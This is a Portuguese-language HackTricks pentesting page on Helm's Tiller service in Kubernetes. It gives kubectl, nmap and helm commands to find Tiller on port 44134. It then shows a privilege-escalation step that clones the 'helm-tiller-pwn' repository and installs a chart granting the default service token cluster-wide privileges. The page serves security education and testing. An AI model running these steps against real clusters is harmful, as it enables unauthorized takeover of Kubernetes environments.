4.3 KiB
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informação Básica
Helm é o gerenciador de pacotes para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de Helm Charts. Tiller é o serviço executado por padrão na porta 44134 oferecendo o serviço.
Porta padrão: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeração
Se você pode enumerar pods e/ou serviços de diferentes namespaces, enumere-os e procure por aqueles com "tiller" em seus nomes:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Exemplos:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Você também pode tentar encontrar este serviço em execução verificando a porta 44134:
sudo nmap -sS -p 44134 <IP>
Depois de descobri-lo, você pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como homebrew
, ou consultar a página oficial de lançamentos. Para mais detalhes, ou outras opções, consulte o guia de instalação.
Em seguida, você pode enumerar o serviço:
helm --host tiller-deploy.kube-system:44134 version
Escalação de Privilégio
Por padrão, o Helm2 foi instalado no namespace kube-system com privilégios elevados, então se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você eleve os privilégios.
Tudo que você precisa fazer é instalar um pacote como este: https://github.com/Ruil1n/helm-tiller-pwn que dará ao token de serviço padrão acesso a tudo no cluster inteiro.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
Em http://rui0.cn/archives/1573 você tem a explicação do ataque, mas basicamente, se você ler os arquivos clusterrole.yaml e clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ você pode ver como todos os privilégios estão sendo concedidos ao token padrão.